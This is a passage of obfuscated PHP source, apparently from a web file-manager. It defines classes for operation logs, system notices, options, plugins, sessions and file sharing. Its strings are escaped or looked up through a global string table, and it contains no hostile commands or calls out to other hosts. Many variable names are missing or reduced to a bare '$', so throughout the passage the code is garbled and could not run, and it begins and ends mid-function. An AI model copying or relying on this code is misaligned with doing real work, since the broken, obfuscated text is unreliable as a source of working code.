$Ŝ = $[$Ğ[767]]; $Ʃ = isset($[$Ğ[497]]) ? $[$Ğ[497]] : time(); $[$Ğ[200]] = array($Ğ[333], array($Ŝ, $Ʃ)); } if ($[$Ğ[33]]) { $̋ = explode($Ğ[50], $[$Ğ[33]]); $֠ = $this->typeFile(); $檶 = array(); foreach ($̋ as $) { $檶[] = $; if (isset($֠[$])) { $檶 = array_merge($檶, $֠[$]); } } $檶 = array_unique($檶); if ($檶) { $[$Ğ[33]] = array($Ğ[7], $檶); } } else { $[$Ğ[33]] = array($Ğ[2281], $Ğ[2282]); } if (!empty($[$Ğ[2280]])) { $[$Ğ[453]] = array($Ğ[383], "\45{$[$Ğ[2280]]}\x25"); } $سƖ = $this->_makeOrder()->where($)->selectPage(); if (empty($سƖ[$Ğ[369]])) { show_json(array(), !0, $سƖ[$Ğ[366]]); } $سƖ[$Ğ[369]] = $this->logList($سƖ[$Ğ[369]]); return $سƖ; } private function ipAddress(&$) { $ƅ =& $_SERVER[ö]; if (!empty($[$ƅ[2280]])) { $ȁ = IpLocation::get($[$ƅ[2280]]); } else { $ȁ = LNG($ƅ[2283]); } $[$ƅ[2284]] = $ȁ; } private function descZipDownload($Ǥ, &$ہ) { $ =& $_SERVER[ö]; if (!isset($Ǥ[$[2285]])) { return; } $ = json_decode($Ǥ[$[2285]], !0); foreach ($ as $ʪ) { try { $ˉ = IO::infoFull($ʪ[$[84]]); } catch (Exception $ٗ) { continue; } $Ǥ[$[84]] = $ʪ[$[84]]; $ہ[] = $Ǥ[$[402]] = $ˉ[$[402]]; $ہ[] = $Ǥ[$[2088]] = $ˉ[$[432]]; break; } return $Ǥ; } private function getSourceList(&$ᨒݢ) { $ģ =& $_SERVER[ö]; $幦Ք = array(); foreach ($ᨒݢ as $ => $ٲ) { $ϣ̵ = json_decode($ٲ[$ģ[453]], !0); if ($ٲ[$ģ[33]] == $ģ[1839]) { $ϣ̵ = $this->descZipDownload($ϣ̵, $幦Ք); $ᨒݢ[$][$ģ[453]] = json_encode($ϣ̵); continue; } if (strpos($ٲ[$ģ[33]], $ģ[2090]) !== 0) { if (!isset($ϣ̵[$ģ[84]]) || strpos($ٲ[$ģ[33]], $ģ[2286]) !== 0) { continue; } try { $Ω = IO::infoFull($ϣ̵[$ģ[84]]); } catch (Exception $) { continue; } $幦Ք[] = $ϣ̵[$ģ[402]] = $Ω[$ģ[402]]; $幦Ք[] = $ϣ̵[$ģ[2088]] = $Ω[$ģ[432]]; $ᨒݢ[$][$ģ[453]] = json_encode($ϣ̵); continue; } $幦Ք[] = $ϣ̵[$ģ[402]]; $幦Ք[] = $ϣ̵[$ģ[2088]]; if ($ϣ̵[$ģ[33]] == $ģ[557]) { $幦Ք[] = $ϣ̵[$ģ[453]][$ģ[1174]]; $幦Ք[] = $ϣ̵[$ģ[453]][$ģ[1175]]; } if ($ϣ̵[$ģ[33]] == $ģ[2098]) { $幦Ք[] = $ϣ̵[$ģ[453]][$ģ[402]]; } } if (!$幦Ք) { return array(); } return Model($ģ[831])->sourceListInfo($幦Ք, !0); } private function logList($) { $ =& $_SERVER[ö]; $ = array_to_keyvalue($, $[12], $[1676]); $۟ = Model($[535])->userListInfo(array_unique($)); $ǯ = $this->getSourceList($); $ = $this->typeAll(); $ = array(); $慿 = array(); foreach ($ as $ => $ͩ) { $҄ = $ͩ[$[33]]; $ = isset($۟[$ͩ[$[1676]]]) ? $۟[$ͩ[$[1676]]] : !1; $ = strpos($҄, $[2287]) === 0 ? LNG($[2288]) : LNG($[2283]); $ͩ[$[32]] = isset($[$[32]]) ? $[$[32]] : LNG($[2283]); $ͩ[$[542]] = isset($[$[542]]) ? $[$[542]] : $[12]; $ͩ[$[1576]] = isset($[$҄]) ? $[$҄] : $; $ͩ[$[2033]] = $; $ = json_decode($ͩ[$[453]], !0); $ͩ[$[2280]] = isset($[$[2280]]) ? $[$[2280]] : $[12]; $ͩ[$[2284]] = IpLocation::get($ͩ[$[2280]]); if (strpos($҄, $[2090]) === 0 || isset($[$[2088]])) { $[$[86]] = $ǯ[$[$[402]]]; $[$[2103]] = $ǯ[$[$[2088]]]; if ($[$[33]] == $[557]) { $[$[453]][$[1174]] = $ǯ[$[$[453]][$[1174]]]; $[$[453]][$[1175]] = $ǯ[$[$[453]][$[1175]]]; } if ($[$[33]] == $[2098]) { $[$[453]][$[402]] = $ǯ[$[$[453]][$[402]]]; } if ($[$[33]] == $[1834]) { $[$[2103]] = $[$[86]]; $[$[2088]] = $[$[2103]][$[402]]; $[$[86]] = !1; $[$[402]] = $[12]; } if ($[$[86]] && $[$[86]][$[411]] == $[1299]) { $慿[] = $ͩ[$[399]]; unset($[$]); continue; } if ($[$[2103]] && $[$[2103]][$[411]] == $[1299]) { $慿[] = $ͩ[$[399]]; unset($[$]); continue; } } $ͩ[$[453]] = $; unset($ͩ[$[2289]]); $[] = $ͩ; } $this->clearSystemPathLog($慿); return $; } private function clearSystemPathLog($ˬ) { $π =& $_SERVER[ö]; if (count($ˬ) == 0) { return; } $Ԁ = array($π[399] => array($π[7], array_unique($ˬ))); $this->where($Ԁ)->delete(); } public function deviceList($Ф, $Ñ = 0) { $ =& $_SERVER[ö]; $ = array($[1676] => $Ф, $[200] => array($[1028], $Ñ), $[33] => $[1808]); $ = array(); $ = $this->field($[2290])->where($)->order($[2101])->limit(50)->select(); foreach ($ as $ => $ȧ) { if ($ > 0 && abs($ȧ[$[200]] - $[$ - 1][$[200]]) < 5) { continue; } $ԁم = json_decode($ȧ[$[453]], !0); $ȧ[$[2280]] = isset($ԁم[$[2280]]) ? $ԁم[$[2280]] : $[12]; unset($ԁم[$[2280]]); $ܨ = $this->deviceType($ԁم[$[2091]]); if (isset($[$ܨ])) { continue; } $ȧ[$[2284]] = IpLocation::get($ȧ[$[2280]]); $ȧ[$[453]] = $ԁم; $[$ܨ] = $ȧ; } return array_values($); } public function deviceType($綱) { return $綱; } } class SystemNoticeModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\145\x6d\x2e\156\x6f\x74\151\143\145\114\151\163\164"; public $field = array("\x6e\141\155\x65", "\x63\157\x6e\164\x65\156\x74", "\141\x75\x74\x68", "\x6d\x6f\144\x65", "\164\151\x6d\145", "\x74\x79\x70\145", "\x6c\x65\166\x65\x6c", "\145\156\141\x62\154\145", "\x73\x6f\x72\x74"); public function listData($ = false, $֛ף = "\163\x6f\162\x74", $ֆ = false) { return parent::listData($, $֛ף, $ֆ); } public function add($ʹɤ) { $ =& $_SERVER[ö]; $ = time(); if ($ʹɤ[$[16]] == $[2291]) { $ = strtotime($ʹɤ[$[203]]); } $ʹɤ[$[203]] = $; return parent::insert($ʹɤ); } public function update($, $) { $ =& $_SERVER[ö]; $㼿 = $this->listData($); if (!$㼿) { return !1; } $ͭ渷 = time(); if ($[$[16]] == $[2291]) { $ͭ渷 = strtotime($[$[203]]); } $[$[203]] = $ͭ渷; return parent::update($, $); } public function remove($ٞ) { $ = $this->listData($ٞ); if (!$ || $[$_SERVER[ö][1299]]) { return !1; } return parent::remove($ٞ); } public function sort($Է, $ȼ) { return parent::update($Է, $ȼ); } public function enable($շ, $) { return parent::update($շ, array($_SERVER[ö][2292] => $)); } private function initUserOption() { $ =& $_SERVER[ö]; $this->optionType = $[2293]; $this->modelType = $[2294]; $this->field = array($[2295], $[32], $[203], $[33], $[2296], $[756], $[195]); } public function userNoticeGet($۶ = false) { $this->initUserOption(); return parent::listData($۶, $_SERVER[ö][399], !0); } public function userNoticeAdd($ɳ) { $Ηѝ =& $_SERVER[ö]; $this->initUserOption(); $ʦ = $this->findByKey($Ηѝ[2295], $ɳ[$Ηѝ[399]]); if ($ʦ) { return !0; } $ϸ = array($Ηѝ[2295] => $ɳ[$Ηѝ[399]], $Ηѝ[32] => $ɳ[$Ηѝ[32]], $Ηѝ[203] => $ɳ[$Ηѝ[203]], $Ηѝ[33] => isset($ɳ[$Ηѝ[33]]) ? $ɳ[$Ηѝ[33]] : 1, $Ηѝ[2296] => isset($ɳ[$Ηѝ[2296]]) ? $ɳ[$Ηѝ[2296]] : 0, $Ηѝ[756] => 0, $Ηѝ[195] => 0); return parent::insert($ϸ); } public function userNoticeEdit($, $ٛ) { $this->initUserOption(); return parent::update($, $ٛ); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = "\x73\x79\163\x74\x65\x6d\137\157\x70\164\x69\x6f\156"; protected $jsonField = array("\155\x65\156\x75", "\x72\157\x6c\x65", "\162\x6f\154\145\x47\x72\157\x75\x70", "\162\145\147\x69\163\x74", "\x65\155\141\x69\x6c"); function __construct() { parent::__construct(); } protected function cacheKey($) { return "\x53\171\163\164\145\x6d\x4f\160\164\151\157\x6e\x5f{$}"; } protected function optionDefault($ɢ = '') { $ =& $_SERVER[ö]; if ($ɢ == $[12]) { return $GLOBALS[$[6]][$[381]]; } } } goto c; A٪: class PluginModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\145\155\56\x70\x6c\x75\147\x69\x6e\x4c\x69\163\x74"; public $field = array("\x6e\x61\x6d\145", "\163\164\141\164\x75\x73", "\162\x65\147\x69\145\x73\x74", "\x63\157\156\x66\x69\147"); public function loadList($ӯ = false) { $ӂ = array_to_keyvalue($this->listData(), $_SERVER[ö][32]); if ($ӯ) { return $ӂ[$ӯ]; } return $ӂ; } public function init() { $Х =& $_SERVER[ö]; Hook::trigger($Х[1985]); $՟ = $this->loadPluginList(); foreach ($՟ as $к => $؈) { $ = $this->appAllow($к, $؈); if (!$) { continue; } foreach ($؈[$Х[1986]] as $ߐ => $ԓ) { Hook::bind($ߐ, $ԓ); } } Hook::trigger($Х[1987]); Hook::trigger(ACTION); } public function appAllow($, $, $ = true) { $ =& $_SERVER[ö]; $Ϧ = PLUGIN_DIR . $ . $[1988]; if (!is_array($) || !is_array($[$[1986]]) || $[$[756]] != 1 || !is_file($Ϧ)) { return !1; } if ($GLOBALS[$[503]] == 1) { if ($GLOBALS[$[6]][$[1989]] || !$GLOBALS[$[6]][$[1990]]) { return !0; } $ = explode($[50], strtolower($GLOBALS[$[6]][$[1990]])); return in_array(strtolower($), $) ? !1 : !0; } if ($ && !Action($[1991])->checkAuth($)) { return !1; } return !0; } public function unInstall($Ɗ) { $ÂLJ =& $_SERVER[ö]; $NJ = $this->loadList($Ɗ); if (file_exists(PLUGIN_DIR . $Ɗ)) { Hook::apply($Ɗ . $ÂLJ[1992]); } $this->remove($NJ[$ÂLJ[399]]); } public function changeStatus($̢, $) { $ަ =& $_SERVER[ö]; $ = $this->loadList($̢); if ($) { Hook::apply($̢ . $ަ[1993]); } $this->update($[$ަ[399]], array($ަ[1994] => $)); } public function appRegist($, $) { $Ⲡ =& $_SERVER[ö]; $ۈ = $this->loadList($); if ($ۈ) { $this->update($ۈ[$Ⲡ[399]], array($Ⲡ[1986] => $)); } else { $ = array($Ⲡ[32] => $, $Ⲡ[1986] => $, $Ⲡ[756] => 0, $Ⲡ[6] => $this->getConfigDefault($)); $this->insert($); } } public function getConfigDefault($ЭƓ) { $绯 =& $_SERVER[ö]; $Ȱ = array(); $闖 = $this->getPackageJson($ЭƓ); if (!$闖 && is_array($闖[$绯[1995]])) { return $Ȱ; } foreach ($闖[$绯[1995]] as $ӯ => $) { if (!isset($[$绯[374]]) || isset($Ȱ[$ӯ])) { continue; } $Ȱ[$ӯ] = $[$绯[374]]; } return $Ȱ; } public function getPackageJson($) { return Hook::apply($ . $_SERVER[ö][1996]); } public function getConfig($۸, $ = false) { $ְ =& $_SERVER[ö]; $꼄 = array(); $Ը = $this->loadList($۸); if ($Ը && is_array($Ը[$ְ[6]])) { $꼄 = $Ը[$ְ[6]]; } if (!$꼄 || $) { $꼄 = $this->getConfigDefault($۸); } return $꼄; } public function setConfig($, $ֵ = false) { $ܿ =& $_SERVER[ö]; $̛ = $this->loadList($); if (!$̛) { return !1; } $ח = $̛[$ܿ[6]]; if ($ֵ == !1) { $ח = array(); $ֵ = $this->getConfigDefault($); } foreach ($ֵ as $ĺ => $β) { $ח[$ĺ] = is_string($β) ? trim($β) : $β; } $this->update($̛[$ܿ[399]], array($ܿ[6] => $ח)); } public function viewList() { $ =& $_SERVER[ö]; $⢝ = $this->loadList(); $this->pluginScan($⢝); $⢝ = $this->loadPluginList(); $ = array(); foreach ($⢝ as $ڛ => $܂) { unset($܂[$[1986]], $܂[$[6]]); $ɖ = PLUGIN_DIR . $܂[$[32]] . $[1988]; if (!is_file($ɖ)) { continue; } $ = Hook::apply($܂[$[32]] . $[1996]); if (is_array($)) { $[$ڛ] = array_merge($܂, $); } } return $; } private function loadPluginList() { $ˇ =& $_SERVER[ö]; $ș = $this->loadList(); if (strtolower(MOD) == $ˇ[1997]) { return $ș; } $ṻ = Hook::trigger($ˇ[1998], $ș); if ($ș && !$ṻ) { die; } return $ṻ ? $ṻ : $ș; } private function pluginScan($ʔ) { $ =& $_SERVER[ö]; recursion_dir(PLUGIN_DIR, $, $ѹ, 0); foreach ($ as $꼨) { $Ղ = get_path_this($꼨); if (isset($ʔ[$Ղ]) || !file_exists($꼨 . $[1999]) || !file_exists($꼨 . $[1988])) { continue; } Hook::apply($Ղ . $[1993]); } } } class SessionModel extends ModelBase { protected $tableName = "\163\171\163\x74\x65\x6d\x5f\x73\x65\163\163\x69\157\156"; public function get($) { $人 =& $_SERVER[ö]; $奷 = $this->where(array($人[2000] => $))->find(); if (!is_array($奷)) { return !1; } return $奷[$人[761]]; } public function set($, $, $ע = 3600) { $ =& $_SERVER[ö]; $ = array($[2000] => $, $[1904] => $, $[2001] => $ע + time()); if (Session::get($[2002])) { $[$[1676]] = Session::get($[2002]); } else { $[$[1676]] = 0; } if ($this->get($)) { return $this->where(array($[2000] => $))->save($); } else { return $this->add($, array(), !0); } } public function remove($) { return $this->where(array($_SERVER[ö][2000] => $))->delete(); } public function clearTimeout() { return $this->where($_SERVER[ö][2003] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "\163\x68\141\162\x65"; protected $dataAuto = array(array("\x6d\157\144\x69\x66\x79\124\x69\155\x65", "\x74\x69\155\145", "\x69\156\163\145\x72\164\54\165\x70\144\141\x74\x65", "\146\165\156\x63\x74\151\157\x6e"), array("\143\162\145\141\164\145\x54\151\155\x65", "\164\151\155\145", "\x69\156\163\145\162\164", "\146\x75\x6e\143\164\151\157\x6e"), array("\x6f\160\164\x69\x6f\156\163", '', "\x69\156\163\x65\162\x74\x2c\x75\x70\x64\x61\x74\145\54\x73\145\x6c\145\143\164", "\x6a\163\x6f\156")); private $fieldList = "\x2a"; protected function cacheFunctionAlias($) { $Ͼ =& $_SERVER[ö]; $ = isset($[0]) ? $[0] : !1; return array($Ͼ[2004] => array(USER_ID, $Ͼ[2005]), $Ͼ[1945] => array($, $Ͼ[2006])); } protected function listSimple() { $暜 = array($_SERVER[ö][1676] => USER_ID); $ސ = $this->field($this->fieldList)->where($暜)->select(); return $ސ ? $ސ : array(); } protected function getInfo($֛˨, $ = false) { $Ӝ =& $_SERVER[ö]; if ($) { return $this->_getShareInfo(array($Ӝ[489] => $֛˨)); } $Ƈ = $this->cacheFunctionGet($Ӝ[1947], $֛˨); return $Ƈ; } public function getInfoByHash($鸈) { return $this->_getShareInfo(array($_SERVER[ö][491] => $鸈)); } public function getInfoByPath($ʘ) { $dz =& $_SERVER[ö]; $ = array($dz[1676] => USER_ID, $dz[402] => $ʘ); return $this->_getShareInfo($); } public function getInfoBySourcePath($Ƥذ) { $ޑ =& $_SERVER[ö]; $ = array($ޑ[1676] => USER_ID, $ޑ[1190] => $Ƥذ); return $this->_getShareInfo($); } private function _getShareInfo($) { $悙 =& $_SERVER[ö]; $ = $this->where($)->find(); if (!$) { return !1; } $ = array($悙[489] => $[$悙[489]]); $ = $悙[2007]; $ = Model($悙[602])->order($悙[399])->field($)->where($)->select(); if ($[$悙[402]] == $悙[197]) { $[$悙[86]] = IO::info($[$悙[1190]]); } else { $[$悙[86]] = Model($悙[1350])->pathInfo($[$悙[402]]); } $[$悙[2008]] = $; return $; } protected function getInfoAuth($թ) { $ =& $_SERVER[ö]; $ԕ = $this->getInfo($թ); if ($ԕ[$[1676]] == USER_ID) { $ԕ[$[413]] = $ԕ[$[86]][$[413]]; } else { $ԕ[$[413]] = Model($[502])->authMake($ԕ[$[2008]]); } return $ԕ; } protected function listData($ = null, $ = 300) { $ӭ =& $_SERVER[ö]; $ㆇ = array(array($ӭ[494] => array($ӭ[1026], 0), $ӭ[496] => array($ӭ[1026], 0), $ӭ[2009] => $ӭ[1963])); if ($ == $ӭ[2010]) { $ㆇ = array($ӭ[494] => 1); } else { if ($ == $ӭ[1175]) { $ㆇ = array($ӭ[496] => 1); } } $ㆇ[$ӭ[1676]] = USER_ID; $ˡ = $this->where($ㆇ)->selectPage($); return $ˡ; } protected function listToMe($ = 300) { $ߍ =& $_SERVER[ö]; $ = Model($ߍ[2011])->userGroupParents(USER_ID); $ű = array($ߍ[586] => SourceModel::TYPE_USER, $ߍ[505] => USER_ID); if ($) { $ű = array(array($ߍ[586] => SourceModel::TYPE_USER, $ߍ[505] => USER_ID), array($ߍ[586] => SourceModel::TYPE_GROUP, $ߍ[505] => array($ߍ[7], $)), $ߍ[2009] => $ߍ[1963]); } $ѧ = Model($ߍ[602])->where($ű)->selectPage($); $ = array_to_keyvalue_group($ѧ[$ߍ[369]], $ߍ[489]); if (!$) { return $ѧ; } $ʹǫ = $ߍ[2012]; $ű = array($ߍ[489] => array($ߍ[418], array_keys($)), $ߍ[1676] => array($ߍ[1028], $ߍ[197])); $τ = $this->field($ʹǫ)->where($ű)->select(); foreach ($τ as $㺠ڶ => &$) { $[$ߍ[2008]] = $[$[$ߍ[489]]]; } unset($); $ = array($ߍ[2013] => $τ, $ߍ[2014] => $ѧ[$ߍ[366]]); return $; } protected function shareAdd($, $) { $ =& $_SERVER[ö]; $ = $this->_addShareData($, $); if (!empty($[$[2015]])) { $this->_shareAuthSet($, $[$[2015]]); } $this->shareEventAdd($, $, $[1178]); return $; } protected function shareAddSystem($ެ, $̛) { $ݣұ =& $_SERVER[ö]; $ޢ = $this->_addShareData($ެ, $̛, $ݣұ[1299]); $this->_shareAuthSet($ޢ, $̛[$ݣұ[2015]]); return $ޢ; } private function shareEventAdd($, $˵, $ = "\141\144\144") { $ڪ =& $_SERVER[ö]; if (!$ || $ == $ڪ[197]) { return; } if ($ == $ڪ[1178]) { if ($˵[$ڪ[494]] == $ڪ[88]) { Model($ڪ[570])->eventShare($, $ڪ[2016]); } if ($˵[$ڪ[496]] == $ڪ[88]) { Model($ڪ[570])->eventShare($, $ڪ[2017]); } return; } $ɚ = $this->getInfoByPath($); $ﺔ = $ڪ[2018]; if ($ɚ[$ڪ[494]] == $ڪ[197] && $˵[$ڪ[494]] == $ڪ[88]) { $ﺔ = $ڪ[2016]; } if ($ɚ[$ڪ[494]] == $ڪ[88] && $˵[$ڪ[494]] == $ڪ[197]) { $ﺔ = $ڪ[2019]; } if ($ɚ[$ڪ[496]] == $ڪ[197] && $˵[$ڪ[496]] == $ڪ[88]) { $ﺔ = $ڪ[2017]; } if ($ɚ[$ڪ[496]] == $ڪ[88] && $˵[$ڪ[496]] == $ڪ[197]) { $ﺔ = $ڪ[2020]; } Model($ڪ[570])->eventShare($, $ﺔ); return; } private function _addShareData($, $ = array(), $ׅ = false) { $ =& $_SERVER[ö]; $댺 = $ׅ == $[1299] ? 0 : USER_ID; $ = array($[417] => $, $[1667] => $댺); if ($ == 0) { $ = array($[2021] => $[$[1190]], $[1667] => $댺); } if ($ = $this->where($)->find()) { return $[$[489]]; } if ($ == 0) { $ = array($[32] => get_path_this($[$[84]])); } else { $ = Model($[831])->sourceInfo($); if (!$) { return !1; } } if (!$[$[1576]]) { $[$[1576]] = $[$[32]]; } $ = array($[1667] => $댺, $[417] => $, $[1576] => $[12], $[494] => 0, $[496] => 0, $[1190] => $[12], $[307] => $[12], $[903] => $[12], $[2022] => 0, $[2023] => 0, $[497] => 0, $[498] => $[12], $[491] => $[12]); $ = explode($[50], $[2024]); foreach ($ as $ހ) { if (!isset($[$ހ])) { continue; } $[$ހ] = $[$ހ]; } $ɍ = $this->add($); $ = array($[491] => short_id($ɍ)); $this->where(array($[488] => $ɍ))->save($); return $ɍ; } private function _shareAuthSet($ڜæ, $) { $묇 =& $_SERVER[ö]; if (!is_array($)) { return !1; } $ɡ = Model($묇[1973]); $ɡ->where(array($묇[489] => $ڜæ))->delete(); $ڶ = array(); foreach ($ as $) { $ӟ = SourceModel::TYPE_USER; if ($[$묇[411]] == SourceModel::TYPE_GROUP) { $ӟ = SourceModel::TYPE_GROUP; } $ = array($묇[489] => $ڜæ, $묇[411] => $ӟ, $묇[505] => intval($[$묇[505]]), $묇[1969] => 0, $묇[2025] => -1); if ($[$묇[1969]]) { $[$묇[1969]] = $[$묇[1969]]; } else { if ($[$묇[2025]]) { $[$묇[2025]] = $[$묇[2025]]; } } $ڶ[] = $; } return $ɡ->addAll($ڶ, array(), !0); } public function numViewAdd($唩) { $Ͼ =& $_SERVER[ö]; $ŁӅ = array($Ͼ[488] => $唩); $this->where($ŁӅ)->setAdd($Ͼ[2022]); } public function numDownloadAdd($ӟ) { $ =& $_SERVER[ö]; $ = array($[488] => $ӟ); $this->where($)->setAdd($[2023]); } protected function shareEdit($̅Ͽ, $) { $ =& $_SERVER[ö]; $ = $this->getInfo($̅Ͽ); if (!$) { return !1; } $this->_checkLinkShare($, $); $몬 = array(); $ = explode($[50], $[2026]); foreach ($ as $ڃ) { if (!array_key_exists($ڃ, $)) { continue; } $몬[$ڃ] = $[$ڃ]; } $this->shareEventAdd($[$[402]], $, $[1835]); $this->where(array($[488] => $̅Ͽ))->save($몬); if (isset($[$[2015]])) { $this->_shareAuthSet($̅Ͽ, $[$[2015]]); } return !0; } private function _checkLinkShare($ܽ, $ʿ) { $Ա =& $_SERVER[ö]; if ($ܽ[$Ա[494]] != $Ա[88]) { return; } $ = $ʿ[$Ա[86]][$Ա[402]]; if ($ʿ[$Ա[86]][$Ա[33]] != $Ա[199]) { $Ӯ = $this->_folderReport($); if (!$Ӯ) { return; } show_json(LNG($Ա[2027]) . $Ա[2028] . $Ӯ, !1); } $ܼ = Model($Ա[831])->fileInfoGet($ʿ[$Ա[86]][$Ա[402]]); if (!$ܼ) { return; } $ = $this->shareFileMeta($ܼ[$Ա[468]]); if (isset($[$Ա[374]]) && $[$Ա[374]] == $Ա[88]) { show_json(LNG($Ա[2029]), !1); } } private function _folderReport($漩ن) { $琚 =& $_SERVER[ö]; $ = array($琚[468] => array($琚[1026], 0), $琚[756] => 3); $ = Model($琚[2030])->where($)->field($琚[468])->select(); if (!$) { return !1; } $ = array_to_keyvalue($, $琚[12], $琚[468]); $֤ = $琚[50] . $漩ن . $琚[50]; $ = array($琚[468] => array($琚[7], $), $琚[521] => array($琚[383], "\x25{$֤}\x25"), $琚[431] => 0); $⣩ = Model($琚[831])->where($)->field($琚[2031])->find(); if (!$⣩) { return !1; } $ݘ = substr($⣩[$琚[521]], strpos($⣩[$琚[521]], $֤)); $ = array($琚[402] => array($琚[7], trim($ݘ, $琚[50]))); $Į = Model($琚[831])->where($)->field($琚[32])->select(); $ = array_to_keyvalue($Į, $琚[12], $琚[32]); $[] = $⣩[$琚[32]]; return implode($琚[8], $); } protected function remove($ƥ) { $ =& $_SERVER[ö]; if (is_array($ƥ)) { $ƥ = array($[7], $ƥ); } $݅ = array($[489] => $ƥ); $Г = $this->where($݅)->delete(); if ($Г) { Model($[602])->where(array($[489] => $ƥ))->delete(); } $ = is_array($ƥ) ? $ƥ[1] : array($ƥ); for ($ = 0; $ < count($); $++) { $ = $this->getInfo($[$]); if ($[$[496]] == $[88]) { Model($[570])->eventShare($[$[402]], $[2020]); } if ($[$[494]] == $[88]) { Model($[570])->eventShare($[$[402]], $[2019]); } } return $Г; } protected function removeBySource($) { $Ԩ =& $_SERVER[ö]; $ = array($Ԩ[417] => array($Ԩ[418], $)); $и = $this->field($Ԩ[489])->where($)->select(); $и = array_to_keyvalue($и, $Ԩ[12], $Ԩ[489]); if (!$и) { return; } $ = array($Ԩ[488] => array($Ԩ[418], $и)); $this->where($)->delete(); Model($Ԩ[602])->where($)->delete(); } public function listAll($) { $˖ =& $_SERVER[ö]; $ = array(); if ($[$˖[1676]]) { $[$˖[1676]] = $[$˖[1676]]; } if ($[$˖[767]]) { $뮇 = $[$˖[497]] ? $[$˖[497]] : strtotime(date($˖[2032])); $[$˖[200]] = array($˖[333], array($[$˖[767]], $뮇)); } if ($[$˖[33]]) { $[$[$˖[33]]] = 1; } else { $[] = array($˖[494] => array($˖[1026], 0), $˖[496] => array($˖[1026], 0), $˖[2009] => $˖[1963]); } if ($[$˖[1959]]) { $[] = array($˖[491] => $[$˖[1959]], $˖[1576] => array($˖[383], "\x25{$[$˖[1959]]}\45"), $˖[2009] => $˖[1963]); } $ê = $this->_makeOrder()->where($)->selectPage(20); if (empty($ê[$˖[369]])) { return array(); } $this->_listDataApply($ê[$˖[369]]); return $ê; } public function listDataApply($) { $this->_listDataApply($); return $; } private function _listDataApply(&$Ї) { $ =& $_SERVER[ö]; $ġ = array_to_keyvalue($Ї, $[12], $[1676]); $Ǧ = Model($[535])->userListInfo(array_unique($ġ)); $䨵 = array_to_keyvalue($Ї, $[12], $[402]); $ = Model($[831])->sourceListInfo($䨵, !0); foreach ($Ї as $ => &$) { $ = $[$[1676]]; $[$[2033]] = $Ǧ[$] ? $Ǧ[$] : !1; $ = $[$[402]]; $[$[86]] = $[$] ? $[$] : !1; if ($[$[86]][$[431]] == $[88]) { unset($Ї[$]); } if ($[$[86]] != $[197] && !$[$[86]]) { unset($Ї[$]); } } unset($); $Ї = array_values($Ї); } private function _makeOrder($ = '') { $ݿ =& $_SERVER[ö]; $̽ = array($ݿ[200], $ݿ[497], $ݿ[2022], $ݿ[2023]); $Ƨ = array($ݿ[450] => $ݿ[451], $ݿ[452] => $ݿ[453]); $ = Input::get($ݿ[457], $ݿ[7], $ݿ[423], $̽); $ = Input::get($ݿ[458], $ݿ[7], $ݿ[2034], array($ݿ[1956], $ݿ[452])); $ = $Ƨ[$]; $ = $ . "{$}\40{$}"; return $this->order($); } public function reportAdd($) { $۞ =& $_SERVER[ö]; $ = array($۞[489] => $[$۞[489]], $۞[1676] => USER_ID); if (Model($۞[2030])->where($)->find()) { return !1; } $ = array($۞[489] => $[$۞[489]], $۞[1576] => $[$۞[1576]], $۞[402] => $[$۞[402]], $۞[468] => $[$۞[468]], $۞[1676] => USER_ID, $۞[33] => $[$۞[33]], $۞[453] => $[$۞[453]]); return Model($۞[2030])->add($); } public function reportList($) { $ݦ =& $_SERVER[ö]; $Ĝ = array(); if ($[$ݦ[767]]) { $ͭ = $[$ݦ[497]] ? $[$ݦ[497]] : strtotime(date($ݦ[2032])); $Ĝ[$ݦ[200]] = array($ݦ[333], array($[$ݦ[767]], $ͭ)); } if (isset($[$ݦ[33]]) && in_array($[$ݦ[33]], array($ݦ[88], $ݦ[437], $ݦ[2035], $ݦ[2036], $ݦ[2037]))) { $Ĝ[$ݦ[33]] = $[$ݦ[33]]; } if (isset($[$ݦ[756]]) && in_array($[$ݦ[756]], array($ݦ[197], $ݦ[88], $ݦ[437], $ݦ[2035]))) { $Ĝ[$ݦ[756]] = $[$ݦ[756]]; } $ص = Input::get($ݦ[458], $ݦ[7], $ݦ[2034], array($ݦ[1956], $ݦ[452])); $ = array($ݦ[450] => $ݦ[451], $ݦ[452] => $ݦ[453]); $χ = $ݦ[2038] . $[$ص]; $ӹ = Model($ݦ[2030])->where($Ĝ)->order($χ)->selectPage(20); if (empty($ӹ[$ݦ[369]])) { return array(); } $ = array_to_keyvalue_group($ӹ[$ݦ[369]], $ݦ[756], $ݦ[489]); if (!empty($[0])) { $ = $[0]; $Ĝ = array($ݦ[489] => array($ݦ[7], $)); $ = $this->where($Ĝ)->field($ݦ[489])->select(); $ = array_to_keyvalue($, $ݦ[12], $ݦ[489]); $ = array_diff($, $); if (!empty($)) { foreach ($ӹ[$ݦ[369]] as $Ƶ => $˾) { if (in_array($˾[$ݦ[489]], $)) { unset($ӹ[$ݦ[369]][$Ƶ]); } } } } $this->_listDataApply($ӹ[$ݦ[369]]); return $ӹ; } public function reportStatus($Ɣ) { $Ù =& $_SERVER[ö]; $ܿ = array($Ù[399] => $Ɣ[$Ù[399]]); $ڷ = Model($Ù[2030])->where($ܿ)->field($Ù[2039])->find(); if (!$ڷ) { return !1; } $˂ = array($Ù[756] => $Ɣ[$Ù[756]]); if ($Ɣ[$Ù[756]] == $Ù[2035] && $ڷ[$Ù[756]] == $Ù[2035]) { $˂[$Ù[756]] = 0; } $颒 = Model($Ù[2030])->where($ܿ)->save($˂); if ($Ɣ[$Ù[756]] == $Ù[437]) { if ($ڷ[$Ù[468]] != $Ù[197] && $this->shareFileMeta($ڷ[$Ù[468]])) { $this->shareFileMeta($ڷ[$Ù[468]], 0); } $this->remove($ڷ[$Ù[489]]); return !0; } if ($颒 && $Ɣ[$Ù[756]] == $Ù[2035]) { $¢ = $˂[$Ù[756]] == $Ù[2035] ? 1 : 0; $this->shareFileMeta($ڷ[$Ù[468]], $¢); $this->removeByFile($ڷ[$Ù[468]]); } return $颒; } private function removeByFile($ȴߐ) { $Ǹӥ =& $_SERVER[ö]; $Ӎض = Model($Ǹӥ[831])->where(array($Ǹӥ[468] => $ȴߐ))->field($Ǹӥ[402])->select(); $ϒ = array_to_keyvalue($Ӎض, $Ǹӥ[12], $Ǹӥ[402]); $䔃 = array($Ǹӥ[402] => array($Ǹӥ[7], $ϒ), $Ǹӥ[494] => 1); $Ӎض = $this->where($䔃)->field($Ǹӥ[489])->select(); if (empty($Ӎض)) { return; } 